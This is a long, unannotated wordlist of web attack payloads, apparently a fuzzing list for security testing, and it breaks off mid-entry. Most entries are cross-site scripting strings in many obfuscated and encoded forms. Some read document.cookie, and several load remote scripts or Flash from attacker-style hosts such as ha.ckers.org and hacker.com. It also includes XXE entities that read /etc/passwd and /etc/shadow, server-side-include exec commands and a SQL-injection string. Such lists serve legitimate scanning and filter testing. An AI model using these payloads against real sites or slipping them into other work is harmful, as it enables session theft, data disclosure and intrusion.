';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");} ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){// ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search ';onerror=alert;throw 1// '<'/'><'s't'y'l'e'/'o'n'l'o'a'd'='a'l'e'r't('1')'> '<script>window.onload=function(){document.forms[0].message.value='1';}</script> '>"><script src = 'http://www.site.com/XSS.js'></script> '>//\\,<'>">">"*" '></select><script>alert(123)</script> '><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=' '><img+sRc=l+oNerrOr=prompt(document.cookie)+x> '><img src=x onError=prompt("OpenBugBounty")> '> <script>alert(3)</script> '>><marquee><h1>XSS</h1></marquee> '>alert(1)</script><script/1=' '];a=eval;b=alert;a(b(15));// '`"><\x00script>javascript:alert(1)</script> '`"><\x3Cscript>javascript:alert(1)</script> 'onload=alert(1)><svg/1=' ' onmouseover=alert(/XSS/) '};a=eval;b=alert;a(b(13));// '}alert(1)%0A{' '}alert(1);{' ( (1) (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0) (alert)(1) (name// ,0) ) */</script>'>alert(1)/*<script/1=' */a=eval;b=alert;a(b(/e/.source));/* */alert(1)">'onload="/*<svg/1=' */alert(1)</script><script>/* *['<!--']{} *{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ *{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ *{color:red}</style>//["'`-->]]>]</div> +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- +alert(0)+ - --><a href=javascript:alert:document.domain --> --><!--*{color:red} /* all UA */ --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> -->{} -alert(1)//\ -alert(1)}//\ . .source,a = a[a] a(name) .source a+=/al/ .source a+=/al/// .source a[a] (name) /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> // //--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83)); //<form/action=javascript:alert(document.cookie)><input/type='submit'>// //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ : \');confirm(1);// ;//%0da=eval;b=alert;a(b(10));// <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //> <! '="foo"><x foo='><img src=x onerror=alert(2)//'> <!-- <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"--> <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> <!-- -- --><script>document.vulnerable=true;</script><!-- -- --> <!--<img src="--><img src=x onerror=alert(123)//"> <!--<img src="--><img src=x onerror=alert(XSS)//"> <!--<img src="--><img src=x onerror=javascript:alert(1)//"> <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');"> <!--><scRipT src=//14.rs> <!-- FF 14+ --> <!-- IE 5-9 standards mode --> <!-- IE 6-9 --> <!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> <!-- IE 10 in IE5-9 Standards mode --> <!-- Up to Opera 11.64 - see link below --> <!-- Up to Opera 12.x --> <!--[if<img src=x onerror=alert(2)//]> -->//["'`-->]]>]</div> <!--[if<img src=x onerror=javascript:alert(1)//]> --> <!--[if]><script>javascript:alert(1)</script --> <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--> <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]--> <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> --> <!-- injection --><svg height="50px"> <!-- up to FF 13 --> <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" <!ATTLIST xsl:stylesheet <!DOCTYPE doc [ <![<!--]]<script>document.vulnerable=true;//--></script> <![><img src="]><img src=x onerror=alert(39)//"> <![><img src="]><img src=x onerror=alert(XSS)//"> <![><img src="]><img src=x onerror=javascript:alert(1)//"> <![CDATA[<script>var n=0;while(true){n++;}</script>]]> <!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"> <! foo="><script>alert(1)</script>"> <! foo="><script>alert(91)</script>"> <! foo="><script>javascript:alert(1)</script>"> <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> <! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>"> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <% <%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C <%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74> <%78 onxxx=1 <%<!--'%><script>alert(1);</script --> <% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]</div> <% foo><x foo="%><script>alert(123)</script>"> <% foo><x foo="%><script>javascript:alert(1)</script>"> <--`<iMG/srC=` onerror=confirm``> --!> <--`<img/src=` onerror=alert(1)> --!> <///style///><span %2F onmousemove='alert(1)'>SPAN <// style=x:expression\28javascript:alert(1)\29> </Script/"'--><Body /Autofocus /OnFocus = confirm`1` <!--> </TITLE><object/data=https://finickycold.htmlpasta.com> </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> </XSS STYLE=xss:expression(alert('XSS'))> </a> </a>//["'`-->]]>]</div> </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"> </b> </body> </div> </doc>//["'`-->]]>]</div> </feImage> </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style> </ foo="><script>alert(1)</script>"> </ foo="><script>alert(91)</script>"> </ foo="><script>javascript:alert(1)</script>"> </form> </form>//["'`-->]]>]</div> </head> </html:html> </html:script> </html> </html>//["'`-->]]>]</div> </image> </math>//["'`-->]]>]</div> </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code> </plaintext\></|\><plaintext/onmouseover=prompt(1) </script> </script> %>/ </script>//["'`-->]]>]</div> </script></script><<<<script><>>>><<<script>alert(123)</script> </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> </script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'> </script><script>'%0B'-alert(1)// </script> <script>[class extends[alert``]{}]</script> </script><script>alert('XSS');</script> </script><script >alert(document.cookie)</script> </script><svg><script>alert(1)-%26apos%3B </script><svg><script>alert(1)// </script><svg onload=alert(1)> </style ><script :-(>/**/alert(document.location)/**/</script :-( </style> </style>//["'`-->]]>]</div> </stylesheet>//["'`-->]]>]</div> </svg:mask> </svg:svg> </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera} </svg>//["'`-->]]>]</div> </tag><svg onload=alert(1)> </template> </textarea>'"><script>alert(document.cookie)</script> </textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code> </textarea><script>alert(/xss/)</script> </title><SCRIPT>document.vulnerable=true;</script> </title><script>alert(1)</script> </title><script>alert(/xss/)</script> </xmp> </xsl:stylesheet> </xsl:template> <;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->; <;!--[if gte IE 4]>; <;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>; <;/br style=a:expression(alert())>; <;/script>;<;script>;alert(1)<;/script>; <;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>; <;? echo(';<;SCR)';; <;A HREF=";//google";>;XSS<;/A>; <;A HREF=";//www.google.com/";>;XSS<;/A>; <;A HREF=";h tt p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>; <;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>; <;A HREF=";http://66.102.7.147/";>;XSS<;/A>; <;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>; <;A HREF=";http://1113982867/";>;XSS<;/A>; <;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>; <;A HREF=";http://google.com/";>;XSS<;/A>; <;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>; <;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>; <;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>; <;A HREF=";http://www.google.com./";>;XSS<;/A>; <;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>; <;BASE HREF=";javascript:alert(';XSS';);//";>; <;BGSOUND SRC=";javascript:alert(';XSS';);";>; <;BODY BACKGROUND=";javascript:alert(';XSS';);";>; <;BODY ONLOAD=alert(';XSS';)>; <;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>; <;BR SIZE=";&;{alert(';XSS';)}";>; <;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>; <;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>; <;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>; <;DIV STYLE=";width: expression(alert(';XSS';));";>; <;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>; <;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>; <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4- <;HTML>;<;BODY>; <;HTML xmlns:xss>; <;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>; <;IFRAME SRC=http://ha.ckers.org/scriptlet.html <; <;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>; <;IMG SRC = "; j a v a s c r i p t : a l e r t '; X S S '; ) "; >; <;IMG DYNSRC=";javascript:alert(';XSS';);";>; <;IMG LOWSRC=";javascript:alert(';XSS';);";>; <;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>; <;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>; <;IMG SRC="; &;#14; javascript:alert(';XSS';);";>; <;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>; <;IMG SRC=";jav ascript:alert(';XSS';);";>; <;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>; <;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>; <;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>; <;IMG SRC=";javascript:alert(';XSS';)"; <;IMG SRC=";javascript:alert(';XSS';);";>; <;IMG SRC=";livescript:[code]";>; <;IMG SRC=";mocha:[code]";>; <;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>; <;IMG SRC=';vbscript:msgbox(";XSS";)';>; <;IMG SRC=JaVaScRiPt:alert(';XSS';)>; <;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>; <;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>; <;IMG SRC=javascript:alert(';XSS';)>; <;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; <;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>; <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>; <;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>; <;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>; <;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>; <;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>; <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>; <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>; <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>; <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>; <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>; <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>; <;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT>;a=/XSS/ <;SCRIPT>;alert(';XSS';)<;/SCRIPT>; <;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>; <;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>; <;SCRIPT SRC=//ha.ckers.org/.j>; <;SCRIPT SRC=http://ha.ckers.org/xss.js <;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>; <;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; <;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>; <;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>; <;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>; <;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>; <;STYLE>;li {list-style-image: url(";javascript:alert('XSS')";);}<;/STYLE>;<;UL>;<;LI>;XSS <;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>; <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>; <;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>; <;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>; <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>; <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>; <;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>; <;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>; <;XSS STYLE=";xss:expression(alert(';XSS';))";>; <;br size=\";&;{alert('XSS')}\";>; <;scrscriptipt>;alert(1)<;/scrscriptipt>; <<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->> <</div>script</div>>alert()<</div>/script</div>> <</p>iframe src=javascript:alert()// <<SCRIPT>%(payload)s//<</SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <<SCRIPT>alert(“XSS”);//<</SCRIPT> <<SCRIPT>document.vulnerable=true;//<</SCRIPT> <<scr\0ipt/src=http://xss.com/xss.js></script <<script>document.vulnerable=true;</script> <? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'`-->]]>]</div> <?='<SCRIPT>alert("XSS")</SCRIPT>'?> <?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]>]</div> <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <? foo="><script>alert(1)</script>"> <? foo="><script>alert(91)</script>"> <? foo="><script>javascript:alert(1)</script>"> <? foo="><x foo='?><script>alert(1)</script>'>"> <? foo="><x foo='?><script>alert(91)</script>'>"> <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <?xml version="1.0"?> <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof> <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> <A HREF="//google">XSS</A> <A HREF="//www.google.com/">XSS</A> <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> <A HREF="http://6 6.000146.0x7.147/">XSS</A> <A HREF="http://66.102.7.147/">XSS</A> <A HREF="http://0102.0146.0007.00000223/">XSS</A> <A HREF="http://1113982867/">XSS</A> <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> <A HREF="http://google.com/">XSS</A> <A HREF="http://google:ha.ckers.org">XSS</A> <A HREF="http://ha.ckers.org@google">XSS</A> <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> <A HREF="http://www.google.com./">XSS</A> <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> <A href=" <A href="javascript%26colon;confirm()">click <A href=javas%26#99;ript:alert(1)>click <BASE HREF="javascript:alert('XSS');//"> <BASE HREF="javascript:javascript:alert(1);//"> <BGSOUND SRC="javascript:alert('XSS');"> <BGSOUND SRC="javascript:javascript:alert(1);"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY BACKGROUND="javascript:alert('XSS');"> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <BODY ONLOAD=alert("XSS")> <BODY ONLOAD=alert('hellox worldss')> <BODY ONLOAD=alert(‘XSS’)> <BODY ONLOAD=alert(’XSS’)> <BODY ONLOAD=javascript:alert(1)> <BODY ONLOAD=javascript:javascript:alert(1)> <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> <BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> <BR SIZE="&{alert('XSS')}"> <BR SIZE="&{javascript:alert(1)}"> <D3"<"/OncLick="1>[confirm``]"<">z <D3/OnMouSEenTer=[2].find(confirm)>z <D3/OnpOinTeReENter=confirm``>click here <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> <DIV STYLE="width: expression(alert('XSS'));"> <DIV STYLE="width:expression(javascript:alert(1));"> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> <EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always"> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset> <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC="javascript:document.vulnerable=true;"></iframe> <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> <IFRAME SRC=”http://hacker-site.com/xss.html”> <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG DYNSRC="javascript:alert('XSS')"> <IMG DYNSRC="javascript:alert('XSS');"> <IMG DYNSRC="javascript:javascript:alert(1)"> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS');"> <IMG LOWSRC="javascript:javascript:alert(1)"> <IMG LOWSRC=\"javascript:alert('XSS')\"> <IMG SRC="  javascript:alert('XSS');"> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert(<WBR>'XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert(<WBR>'XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert(<WBR>'XSS');"> <IMG SRC="javascript:alert('XSS')" <IMGSRC="javascript:alert('XSS')"> <IMG SRC="javascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="javascript:javascript:alert(1)" <IMG SRC="javascript:javascript:alert(1);"> <IMG SRC="jav ascript:javascript:alert(1);"> <IMG SRC="jav ascript:javascript:alert(1);"> <IMG SRC="livescript:[code]"> <IMG SRC="mocha:[code]"> <IMG SRC=# onmouseover="alert('xxs')"> <IMG SRC=javascript:a& <IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t: <IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')> <IMG SRC=javascript:alert( <IMG SRC=javascript:alert('XSS')> <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:a <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')> <IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert( <IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(&<WBR>#x27XSS')> <IMG SRC=&{javascript:alert(1);};> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC='vbscript:msgbox(\"XSS\")'> <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG 